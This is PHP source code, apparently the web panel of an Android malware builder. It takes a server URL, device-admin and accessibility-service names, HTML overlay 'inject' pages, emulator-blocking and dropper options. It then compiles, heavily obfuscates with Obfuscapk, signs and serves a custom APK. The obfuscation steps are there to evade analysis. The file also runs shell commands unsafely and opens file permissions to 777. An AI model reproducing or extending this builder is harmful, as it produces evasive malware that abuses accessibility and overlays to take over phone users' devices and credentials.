<?php

class build
{
    public function homePath()
    {
        $home = getenv('HOME');
        if (!empty($home)) {
            $home = rtrim($home, '/');
        } elseif (!empty($_SERVER['HOMEDRIVE']) && !empty($_SERVER['HOMEPATH'])) {
            $home = $_SERVER['HOMEDRIVE'] . $_SERVER['HOMEPATH'];
            $home = rtrim($home, '\\/');
        }
        return $home;
    }

    public function setPaths(): void
    {
        // $home = "/home/kali/PROJ/_VIR/builder/app";//getcwd();
        $home = getcwd();
        $_SESSION['path_temp'] = $home . "/../build/tmpfile/";
        $_SESSION['path_build'] = $home . "/../build/buildFile/";
        $_SESSION['path_source'] = $home . "/../source/";
        $_SESSION['path_obfusk'] = $home . "/../Obfuscapk/";
    }

    function main()
    {
        ob_start();
        $this->setPaths();

        $id_user = md5($_SESSION['key_log']);
        system(" mkdir " . $_SESSION['path_build']);
        system(" mkdir " . $_SESSION['path_build'] . $id_user);

        echo $this->showFrontendHTML();
        $this->backend();
    }

    function showFrontendHTML()
    {
        require_once 'utilsDir.php';

        $id_user = md5($_SESSION['key_log']);
        $utilsDir = new utilsDir();
        $getHTML = file_get_contents("1.html");

        return str_replace("<!---SET-DATA-TABLES--->", $utilsDir->frontendTables($id_user), $getHTML);
    }

    function backend()
    {
        $id_user = md5($_SESSION['key_log']);

        if ($_SERVER['REQUEST_METHOD'] == 'GET') {
            if (isset($_GET['download'])) {
                $arrayFilter = array(".", "/", "script", "'", ":", ";", "+");
                $nameFile = base64_decode($_GET['download']);
                foreach ($arrayFilter as $r) {
                    $nameFile = str_replace("$r", "", $nameFile);
                }
                require_once 'utilsDir.php';
                $utilsDir = new utilsDir();
                $utilsDir->file_download($_SESSION['path_build'] . $id_user . "/$nameFile.apk");
                header("Refresh: 0; ?");
            } else if (isset($_GET['deletefiles'])) {
                system(' rm -r ' . $_SESSION['path_build'] . $id_user . '/');
                header("Refresh: 0; ?");
            }
        } else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!empty($_POST['url'])) {
                $url = $_POST['url'];
                if ($this->endsWith($url, "/")) {
                    $url = substr($url, 0, -1);
                }

                $name_app = $_POST['name_app'];
                $name_admin = $_POST['name_admin'];
                $name_accessibility = $_POST['name_accessibility'];
                $tag = $_POST['tag'];
                $key = $_POST['key'];

                $crypt_apk = ($_POST['crypt_apk'] == 'on') ? '1' : '0';
                $block_emul = ($_POST['block_emul'] == 'on') ? '1' : '0';
                $build_inj = ($_POST['build_inj'] == 'on') ? '1' : '0';

                $build_with_white_app = ($_POST['build_whapp'] == 'on') ? '1' : '0';
                $white_app = $_POST['white_app'];

                $html = "";
                $htmlPopup = "";

                //Build APK
                system(" mkdir " . $_SESSION['path_temp']);
                system(' rm -rf ' . $_SESSION['path_temp'] . $id_user . "/*");
                system(" mkdir " . $_SESSION['path_temp'] . $id_user . "/");
                system(" cp -r " . $_SESSION['path_source'] . " " . $_SESSION['path_temp'] . "$id_user" . "/source/");
                system(" cp -r " . $_SESSION['path_obfusk'] . " " . $_SESSION['path_temp'] . "$id_user");
                system(" chmod -R 777 " . $_SESSION['path_temp'] . "$id_user");

                if ($_FILES) {
                    if($_FILES['upload_file']['tmp_name'] != "") {
                        $image = file_get_contents($_FILES['upload_file']['tmp_name']);
                        file_put_contents($_SESSION['path_temp'] . $id_user . "/icon.png", $image);
                    }
                    if ($_FILES['html_upload_file']['tmp_name'] != "") {
                        $content_html = file_get_contents($_FILES['html_upload_file']['tmp_name']);
                        $html = base64_encode($content_html);
                    }
                    if ($_FILES['popup_upload_file']['tmp_name'] != "") {
                        $content_htmlPopup = file_get_contents($_FILES['popup_upload_file']['tmp_name']);
                        $htmlPopup = base64_encode($content_htmlPopup);
                    }
                }

                $this->start(
                    $id_user,
                    $url,
                    $name_app,
                    $name_admin,
                    $name_accessibility,
                    $tag,
                    $key,
                    $block_emul,
                    $html,
                    $crypt_apk,
                    $build_inj,
                    $htmlPopup,
                    $build_with_white_app,
                    $white_app);
            }
        }
    }

    function endsWith( $haystack, $needle ) {
        $length = strlen( $needle );
        if( !$length ) {
            return true;
        }
        return substr( $haystack, -$length ) === $needle;
    }

    function start($id_user,
                   $url,
                   $name_app,
                   $nameAdminDevice,
                   $nameAccessibilityService,
                   $tag,
                   $key,
                   $block_emul,
                   $html,
                   $crypt_apk,
                   $build_inj,
                   $htmlPopup,
                   $build_with_white_app,
                   $white_app)
    {
        require_once 'utils.php';

        $_SESSION['path_obfusk_work'] = $_SESSION['path_temp'] . "$id_user" . "/Obfuscapk/";

        $utils = new utils();

        $utils->replaceStringProject($id_user, $url, $name_app, $key, $tag, $nameAccessibilityService, $nameAdminDevice,
            $block_emul, $html, $htmlPopup, $build_inj, $build_with_white_app, $white_app);
        $utils->cryptPackage2($id_user);
        $utils->replaceNameFileMain2JavaClass($id_user);
        $utils->cryptAllString($id_user);
        $utils->replaceAllFolder($id_user);
        $utils->replaceNameFileJavaClass($id_user);
        $utils->cryptRes($id_user);
        $utils->createKey($id_user);
        $utils->createIcon($id_user);
        $utils->cryptPackage($id_user);

        exec("cd " . $_SESSION['path_temp'] . "$id_user/source/ &&  ./gradlew assembleRelease --stacktrace");

        if($crypt_apk) {
            system(' rm -rf ' . $_SESSION['path_obfusk_work'] . "rel/*");
            system(' mkdir ' . $_SESSION['path_obfusk_work'] . "rel");
            system(" cp -r " . $_SESSION['path_temp'] . $id_user . "/source/app/build/outputs/apk/release/app-release.apk " . $_SESSION['path_obfusk_work'] . "/rel/app-release.apk");

        //        "virtualenv -p python3 venv && " .
    //            "source venv/bin/activate && " .
            $ex =  "python3 -m pip install -r " . $_SESSION['path_obfusk_work'] . "src/requirements.txt && " .
                "cd " . $_SESSION['path_obfusk_work'] . "src && " .
                "python3 -m obfuscapk.cli " .
                "-p --use-aapt2 " .
                "-w " . $_SESSION['path_obfusk_work'] . "rel " .
                "-d " . $_SESSION['path_obfusk_work'] . "rel/out_app-release.apk " .
                "-o DebugRemoval " .
                "-o Goto " .
                "-o LibEncryption " .
                "-o CallIndirection " .
                "-o MethodRename " .
                "-o AssetEncryption " .
                "-o MethodOverload " .
                "-o ResStringEncryption " .
                "-o ArithmeticBranch " .
//                "-o FieldRename " .
                "-o Reflection " .
                "-o AdvancedReflection " .
                "-o Reorder " .
//                "-o Nop " .
                "-o RandomManifest " .
                "-o Rebuild " .
                "-o NewAlignment " .
                "-o NewSignature " .
                $_SESSION['path_obfusk_work'] . "rel/app-release.apk ";
            exec($ex);

            system("java -jar /usr/lib/android-sdk/build-tools/debian/apksigner.jar sign -v --ks ". $_SESSION['path_temp'] . $id_user . "/key.jks" . " --ks-key-alias key0 " . " --ks-pass pass:123123 " . " --in " . $_SESSION['path_obfusk_work'] . "rel/out_app-release.apk " . " --out ". $_SESSION['path_obfusk_work'] . "rel/out_app-release_sign.apk ");

            $indexAPK = count($utils->getFiles($_SESSION['path_build'] . $id_user . '/')) + 1;
            system(" cp -r " . $_SESSION['path_obfusk_work'] . "rel/out_app-release_sign.apk " . $_SESSION['path_build'] . $id_user . "/app-release-" . $indexAPK . ".apk");
        }
        else {
            $indexAPK = count($utils->getFiles($_SESSION['path_build'] . $id_user . '/')) + 1;
            system(" cp -r " . $_SESSION['path_temp'] . $id_user . "/source/app/build/outputs/apk/release/app-release.apk " . $_SESSION['path_build'] . $id_user . "/app-release-" . $indexAPK . ".apk");
        }

        system(" chmod -R 777 " . $_SESSION['path_build'] . $id_user);
        system(" chmod -R 777 " . $_SESSION['path_obfusk_work'] . "rel/");
        system(" chmod -R 777 " . $_SESSION['path_temp'] . $id_user);

        system(' rm -rf ' . $_SESSION['path_obfusk_work'] . "rel/*");
        system(' rm -rf ' . $_SESSION['path_temp'] . $id_user . "/*");

        ob_end_clean();
        header('refresh: 1');
        $_SERVER['REQUEST_METHOD'] = "";
        $this->main();
        echo "<script>alert('New File app-release-$indexAPK.apk')</script>";
    }
}